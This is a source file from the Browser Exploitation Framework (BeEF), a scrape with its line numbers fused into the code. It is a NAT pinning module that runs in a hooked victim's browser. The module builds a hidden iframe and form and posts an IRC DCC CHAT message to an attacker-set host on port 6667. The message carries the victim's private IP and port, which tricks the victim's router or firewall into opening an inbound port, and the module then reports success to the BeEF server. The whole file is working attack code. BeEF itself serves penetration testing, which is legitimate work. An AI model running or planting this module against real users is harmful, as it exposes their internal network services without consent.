Path: blob/master/modules/network/nat_pinning_irc/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var privateip = '<%= @privateip %>';8var privateport = '<%= @privateport %>';9var connectto = '<%= @connectto %>';1011function dot2dec(dot){12var d = dot.split('.');13return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);14}1516var myIframe = beef.dom.createInvisibleIframe();17var myForm = document.createElement("form");18var action = "http://" + connectto + ":6667/"1920myForm.setAttribute("name", "data");21myForm.setAttribute("method", "post");22//it must be multipart/form-data so the message appears on separate line23myForm.setAttribute("enctype", "multipart/form-data");24myForm.setAttribute("action", action);252627//create message, refer Samy Kamkar (http://samy.pl/natpin/)28x = String.fromCharCode(1);29var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n";3031//create message textarea32var myExt = document.createElement("textarea");33myExt.setAttribute("id","msg_<%= @command_id %>");34myExt.setAttribute("name","msg_<%= @command_id %>");35myForm.appendChild(myExt);36myIframe.contentWindow.document.body.appendChild(myForm);3738//send message39myIframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s;40myForm.submit();4142beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');4344});454647